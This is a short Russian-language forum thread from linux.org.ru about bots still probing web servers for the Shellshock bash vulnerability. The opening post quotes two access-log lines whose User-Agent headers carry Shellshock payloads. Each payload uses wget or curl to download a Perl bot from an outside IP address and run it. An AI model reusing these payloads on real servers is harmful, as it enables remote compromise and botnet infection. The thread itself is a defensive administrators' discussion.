LINUX.ORG.RU
ФорумAdmin

Shellslowpok

 


0

2

Почему боты продолжают наседать? Неужели где-то еще остались слоупоки, у которых не попатчен shellshock?

94.228.215.83 - - [16/Jan/2015:20:38:07 +0000] "GET /cgi-bin/help.cgi HTTP/1.0" 403 168 "-" "() { :;}; /bin/bash -c \x22cd /var/tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /var/tmp/mc\x22"

217.114.212.26 - - [16/Jan/2015:17:14:53 +0000] "GET /phppath/cgi_wrapper HTTP/1.0" 403 168 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESSX\x22;system(\x22wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\x22);'"

Неужели где-то еще остались слоупоки, у которых не попатчен shellshock?

И много я думаю.

Black_Roland ★★★★ ()

Неужели где-то еще остались слоупоки

Конечно остались, тысячи их. Но все эти проверки делаются не вручную. Закидывают тесты в список и пускают бота гулять по интернету, авось что-то найдёт.

i-rinat ★★★★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.